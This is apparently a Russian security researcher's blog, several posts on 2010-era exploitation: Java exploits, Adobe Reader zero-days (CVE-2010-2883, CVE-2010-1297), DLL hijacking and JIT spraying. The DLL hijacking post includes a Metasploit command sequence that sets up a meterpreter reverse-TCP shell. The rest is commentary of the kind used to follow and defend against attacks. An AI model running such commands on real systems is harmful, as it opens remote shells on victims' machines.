Недавно мне попалась на глаза интересный доклад от Dino Dai Zovi "Attacker “Math” 101", в которой нашлись очень здравые схемы демонстрирующие ответ на этот вопрос. По нашей статистике, что я уже не однократно отмечал, беспрецедентное лидерство про проникновению имеют java эксплойты. А ответ почему, как раз наглядно проиллюстрирован на следующей схеме:
Собственно, что из этого следует, основная мысль в том, что реализация java платформы по прежнему не использует механизмы противодействия эксплуатации и является слабым звеном, не смотря на все новомодные "песочницы" и прочий стаф. Если из этой цепочки исключить java, то все становится значительно сложнее для злоумышленников:
А вот, что бывает после обхода "песочницы":
Проверить насколько актуальна ваша версия Java-плагина можно, к примеру, при помощи сервиса SurfPatrol от PT.
На прошлой неделе был обнародован очередной 0-day для Adobe Reader (CVE-2010-2883). На этот раз повинна оказалась CoolType.dll, которая отвечает за парсинг True Type Font. Уязвимость проявляется при обработке шрифта с неправильной SING таблицей. В функции обработки есть вызов небезопасной синшной функции strcat(), которая при определенных условиях приводит к переполнению на стеке.
На прошлой неделе появилась информация о найденной новой концептуальной уязвимости позволяющий выполнить произвольную динамическую библиотеку, путем подмены ее легального экземпляра. Эта информация появилась от автора Metasploit HDmoore и он сразу приводил пример работы этой уязвимости с iTunes. Народ задергался и понял, что пахнет архитектурной брешью, правда все и так о ней знали уже хрен знает сколько времени и чего задергались все только сейчас непонятно (причем даже MS знал уже не один год об этом). Я в нашем посте на хабре достаточно подробно описал саму уязвимость и возможные пути решения проблемы, но некоторые мысли еще остались и для собственного бложика :)
В последнее время мы наблюдаем уже второй 0-day (первый, история с Lnk) с найденной архитектурной ошибкой, by design так сказать. По своей структуре обе эти уязвимости довольно похожи. Такого рода уязвимости закрываются значительно дольше, да и время жизни эксплуатации таких уязвимостей не сравнимо. Не говоря уже о том, что не нужно заморачиваться со всякими DEP и ASLR. А в данном конкретном случае уязвимыми являются достаточно большое количество приложений. Но вот действительно удивляет то, что MS сама не использует свои best practices при разработке. Уже появился PoC для Word и PowerPoint. Ну, а generic exploit в составе Metasploit вообще шикарен. Пример эксплуатации:
msf use exploit/windows/browser/webdav_dll_hijacker msf exploit(webdav_dll_hijacker) > set EXTENSIONS "txt" msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(webdav_dll_hijacker) > set LPORT 6666 msf exploit(webdav_dll_hijacker) > set LHOST msf exploit(webdav_dll_hijacker) > exploit
На протяжении всего текущего года компания Adobe уже не раз нас радовала серьезными уязвимостями, которые влекли за собой возможность удаленного выполнения произвольного кода. В этот раз очередной "шедевр" (CVE-2010-1297) был связан с уязвимостью в Adobe Reader и некоторыми особенностями обработки встроенных в pdf флеш-роликов. Многие уязвимости в продуктах Adobe (CVE-2010-129 входит в их число) могут эксплуатироваться не только на платформе windows, но на многих других, на которые они официально подставляются. Другое дело, что провести успешную атаку эксплойтом на одних плотформах проще, а на других сложнее. Сама Adobe не спешит выпускать заплатку для этой уязвимости и она запланирована только на конец июня, получается, что пользователи продукции этой компании подвержены риску почти на протяжении целого месяца. На мой взгляд для столь массовых продуктов это просто не допустимо. Ну, а теперь давайте рассмотрим саму уязвимость. Итак, уязвимость находиться в модуле authplay.dll, при обработке специально сформированного SWF. Корнем зла на этот раз оказался тег DoABC, использующийся при вставке swf в pdf-файлы. Во вредоносном SWF-файле заменен всего лишь один опкод, но именно он и приводит к ошибке. Оригинальный байт-код 0x66 (GetProperty) заменен на 0x40 (newfunction). Судя по всему уязвимость была найдена с применением методов фаззинга файловых форматов. Но выполнению SWF предшествует heap-spraying, используется для обхода DEP. В итоге мы получаем ret2lib в BIB.DLL, после чего начинается выполнение шелл-кода. Подобная техника обхода DEP была использована в нашумевшей атаке codname: Aurora. Сейчас она приминяется очень часто в различных эксплойтах. Для того чтобы попасть в библиотеку BIB.dll используются техники return-oriented programming (ROP), недостаток этого метода в достаточно длительном времени работы. Например, публичный эксплойт на CVE-2010-1297, опубликованный в рамках Metasploit. Оказался очень медленным и нестабильным в работе. На днях была опубликована программа BH'2010 USA та, что проводиться в Вегасе и на ней было замечено достаточно большое количество докладов посвященных ROP. Конец лета будет интересным :)
Напоследок небольшая демка, которую я записал для корпоративного блога, но мне она нравится и пожалуй продублирую ее здесь тоже :) На ней отчетливо видно, как не быстро отрабатывает ROP shellcode (из Metasploit'а работает как минимум в двое медленее). В качестве сандтрека была взята заглавная тема к фильму Pi.
В этом месяце на конференции Black Hat 2010, традиционно проходящей в это время года, был представлен интересный доклад "Interpreter Exploitation: Pointer Inference and JIT Spraying". В этом докладе рассматриваются новые методики проведения атаки heap spray на указатели на объекты ActionScript находящиеся в памяти VM при проигрывании Flash-видео. Обход ASLR тут заключается в том, что при создании большого количества похожих объектов в памяти Flash VM нам становится проще ориентироваться в памяти, так как она уже становится не настолько рандомизированной.
Сегодня компания Immunity объявила о выпуске новой версии своего основного продукта Immunity CANVAS, в составе которого есть Aurora IE сплойт для Win7, использующий как раз технологию Flash-JIT-Spray.
Ниже привожу видео в Black Hat демонстрирующие работу технологии Flash-JIT-Spray на Vista SP2 и IE8.